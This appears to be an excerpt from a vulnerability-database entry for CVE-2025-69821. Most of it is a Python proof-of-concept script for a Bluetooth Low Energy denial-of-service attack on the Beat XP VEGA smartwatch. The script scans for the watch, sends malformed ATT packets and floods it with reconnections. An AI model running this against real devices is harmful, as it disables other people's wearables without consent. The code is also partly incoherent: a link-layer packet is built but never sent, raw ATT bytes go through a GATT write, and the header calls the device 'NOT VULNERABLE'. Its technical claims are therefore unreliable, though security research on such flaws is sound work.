cpe:2.3:h:beatxp:vega_smartwatch:-:*:*:*:*:*:*:* - NOT VULNERABLE
Beat XP VEGA Smartwatch Firmware RB303ATV006229
可能存在其他使用相同BLE协议栈的Beat XP设备型号
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-69821 PoC - Beat XP VEGA Smartwatch BLE DoS
This PoC demonstrates the BLE DoS vulnerability in Beat XP VEGA Smartwatch.
Author: Based on CVE-2025-69821 security assessment
"""
import asyncio
from bleak import BleakClient, BleakScanner
from bleak.exc import BleakError
import struct
import time
TARGET_DEVICE_NAME = "VEGA" # or specific MAC address
ATTRIBUTE_HANDLE = 0x0001
def create_malformed_packet():
"""
Create a malformed BLE ATT packet to trigger the vulnerability.
This packet contains invalid attribute handle and abnormal length fields.
"""
# ATT OpCode for Read Request
opcode = 0x0A
# Malformed handle - out of valid range
handle = 0xFFFF # Invalid handle that may cause buffer issues
# Construct malformed packet
packet = bytes([opcode]) + struct.pack('<H', handle)
return packet
def create_connection_flood():
"""
Create connection parameter manipulation packet.
Causes rapid connection/disconnection to exhaust device resources.
"""
# LL_CONNECTION_UPDATE_REQ packet with extreme parameters
# Window size: 0x01 (minimum)
# Window offset: 0x0000
# Interval: 0x0006 (6 * 1.25ms = 7.5ms - too short)
# Offset: 0x0000
# Latency: 0x00C8 (200 - excessive)
# Timeout: 0x0001 (1 * 10ms = 10ms - too short)
# Constant time: 0x55AA
conn_update = struct.pack('<BBHHHBBH',
0x00, # LL opcode
0x01, # Window size
0x0000, # Window offset
0x0006, # Interval (too short)
0x0000, # Offset
0x00C8, # Latency
0x01, # Timeout (too short)
0x55AA # Constant time
)
return conn_update
async def scan_for_target():
"""Scan for Beat XP VEGA Smartwatch device."""
print("[*] Scanning for BLE devices...")
devices = await BleakScanner.discover(timeout=5.0)
for device in devices:
if device.name and TARGET_DEVICE_NAME.lower() in device.name.lower():
print(f"[+] Found target device: {device.name} ({device.address})")
return device.address
print("[-] Target device not found. Please ensure the watch is in range and BLE is enabled.")
return None
async def exploit_ble_dos(target_address):
"""
Execute the DoS attack against the target BLE device.
Sends malformed packets to trigger the vulnerability.
"""
print(f"[*] Connecting to {target_address}...")
try:
async with BleakClient(target_address, timeout=10.0) as client:
print(f"[+] Connected to device: {client.is_connected}")
# Get services and characteristics
services = await client.get_services()
print(f"[*] Discovered {len(services.services)} services")
# Attack 1: Send malformed ATT packets
print("[*] Sending malformed ATT packets...")
for i in range(10):
try:
malformed = create_malformed_packet()
# Write to characteristic (may not exist)
await client.write_gatt_char(ATTRIBUTE_HANDLE, malformed)
except Exception as e:
print(f"[*] Packet {i+1} sent (expected error: {type(e).__name__})")
await asyncio.sleep(0.1)
# Attack 2: Rapid reconnection flood
print("[*] Performing rapid connection/disconnection flood...")
for i in range(20):
try:
# Disconnect
await client.disconnect()
await asyncio.sleep(0.05)
# Reconnect
await client.connect()
print(f"[*] Connection cycle {i+1}/20 completed")
except BleakError as e:
print(f"[!] Device may be unresponsive: {e}")
break
print("[+] Attack completed. Check device responsiveness.")
except BleakError as e:
print(f"[-] Connection failed: {e}")
print("[*] This may indicate the device is already affected by the vulnerability.")
async def main():
print("=" * 60)
print("CVE-2025-69821 PoC - Beat XP VEGA Smartwatch BLE DoS")
print("=" * 60)
# Option 1: Scan for device
target = await scan_for_target()
if not target:
# Option 2: Use direct MAC address
print("\n[*] Enter device MAC address manually or press Enter to exit:")
target = input("> ").strip()
if not target:
return
await exploit_ble_dos(target)
if __name__ == "__main__":
# Requirements: pip install bleak
asyncio.run(main())